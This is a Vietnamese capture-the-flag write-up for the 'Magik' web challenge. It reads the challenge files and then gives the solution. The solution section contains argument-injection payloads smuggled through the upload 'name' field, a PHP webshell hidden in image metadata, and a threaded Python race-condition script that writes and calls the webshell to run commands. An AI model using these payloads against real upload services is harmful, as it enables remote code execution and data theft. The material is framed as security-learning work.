Skip to main content

Magik

·711 words·4 mins

Magik
#

  • Author : Tiwza

Overview
#

{BBFD61B4-A254-4DB8-9F65-A1E5CC5EEB72}

Cầu trúc của bài này
#

magik/
└── app/
        ├── index.php
   ├── convert.sh
   ├── docker-compose.yml
   ├── Dockerfile
   ├── flags.txt
   └── readflag.c

Lần lượt đọc từng file
#

  1. Dockerfile
- Đọc `Dockerfile` để hiểu rõ hơn
```code=
COPY readflag.c /readflag.c
RUN gcc /readflag.c -o /readflag
RUN chmod u+s /readflag
RUN rm -f /readflag.c

=> Đặt SUID lên /readflag nên user ở www-data không thể đọc

COPY /flags.txt /flag.txt
RUN chmod 400 /flag.txt

=> Chỉ root mới đọc được flag

# CHALLENGE
WORKDIR /app
COPY app/ /app

COPY convert.sh /opt/convert.sh
RUN chmod +x /opt/convert.sh

RUN chown -R www-data:www-data /app

=> Đặt workdir ở /app => Cấp quyền thực thi cho convert.sh => Web server chỉ có quyền đọc và ghi theo owner

USER www-data
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/app"]

=> user không có quyền root => đồng nghĩa với việc không đọc được flag 2. convert.sh

convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2

=> như ta thấy $1 không nằm trong single quotation từ đó dẫn đến shell argument injection => Khi đó ta có thể thêm vào nhiều input thay vì 1 ví dụ convert arg1 arg2 -resize …

find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true

=> xóa hết các file có chứa metadata/exif 3. readflag.c

// set uid 0 and print flag.txt

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    system("cat /flag.txt");
    return 0;
}

=> Đọc được file flag => như vậy từ Dockerfile ta có thể thấy không thể đọc flag với quyền user tuy nhiên ở file này flag.c lại có thể đọc được flag => Làm cách nào đó để trigger được file này thì sẽ in được ra flag 4. app/index.php

<?php


if(isset($_FILES['img']) && isset($_POST['name'])) {
    $proc = proc_open(
        $cmd = [
            '/opt/convert.sh',
            $_FILES['img']['tmp_name'],
            $outputName = 'static/'.$_POST['name'].'.png'
        ],
        [],
        $pipes
    );
    proc_close($proc);

} else {
    highlight_file(__FILE__);
}

=> hai tham số $_FILES['img']['tmp_name']static/'.$_POST['name'].'.png được lấy ra và đưa vào command trong file convert.sh

  1. docker-compose.yml
services:
  frontend:
    build: .
    ports:
      - "8000:8000"

=> service mở dịch vụ ở port 8080

Solve
#

{9381F73E-CA46-497D-8A3E-8BB7C2D445C8}

PS C:\Users\ADMIN\Desktop\Kep-moving\My_World\CTF\2025\MelC0n\magik> curl.exe -X POST "http://127.0.0.1:8000/" `
>>   -F "name=xyz TEXT:/flag.txt" `
>>   -F "img=@payload.png"
  • Kết quả nhận được

  • Thử với flag

    • image
      => Không có Permission
  • Như ở trên đã trình bày chỉ có thể trigger /readflag mới lấy được flag => đồng nghĩa với việc phải RCE

  • Upload ảnh mà để RCE thì chỉ có thể POLYGLOT

  • Dùng exiftool để gen ra ảnh nào

    • {32D90D13-E70B-4995-A630-C3CC747245A2}
    • {8D03CC8E-162C-472B-B0DC-BA8F14E3B030}
      => Như vậy payload đã bị xóa hết các file có chứa exif (Phần EXIF này có thể bị lợi dụng để giấu mã độc hoặc payload (ví dụ: PHP code) mà trình xem ảnh bình thường không hiển thị, nhưng server có thể đọc được)
  • Vậy làm thế nào để không bị xóa exif => RACE CONDITIONNN

  • Trình tự sẽ như sau

    • Upload ảnh chứa webshell như đã trình bày ở trên
    • Request đến và thực thi payload trước khi nó bị xóa bởi convert.sh
import requests
import threading
import sys

URL = ""
CMD = ""

def request_to_upload_file():
	files = {
		'img' : open('a.jpeg', 'rb')
	}
	data = {
		'name' : 'haha -write /app/shell_magic.php a'
	}
	requests.post(URL, data=data, files=files)

def request_to_access_file():
	res = requests.get(f"{URL}/shell_magic.php?cmd={CMD}")

	if res.ok:
		print(res.text)
	else:
		print(f"Failed: {res.status_code}")

def main():
	global URL
	global CMD

	if len(sys.argv) != 3:
		print("Usage: python script.py <URL> <CMD>")
		return

	URL = sys.argv[1]
	CMD = sys.argv[2]

	threading.Thread(target=request_to_upload_file).start()
	threading.Thread(target=request_to_access_file).start()
	pass


if __name__ == "__main__":
	main()

{4B973A42-E82D-41B2-88AC-CE20E33DA1F1}

Conclusion
#

  • Shell argument injection -> đọc được passwd và chỉ có quyền user
  • POLYGLOT -> trigger /readflag nhưng bị convert.sh xóa mất payload nằm trong exif
  • POLYGLOT + Race Condition để đọc trigger ``/readflagtrước khi payload bịconvert.sh` xóa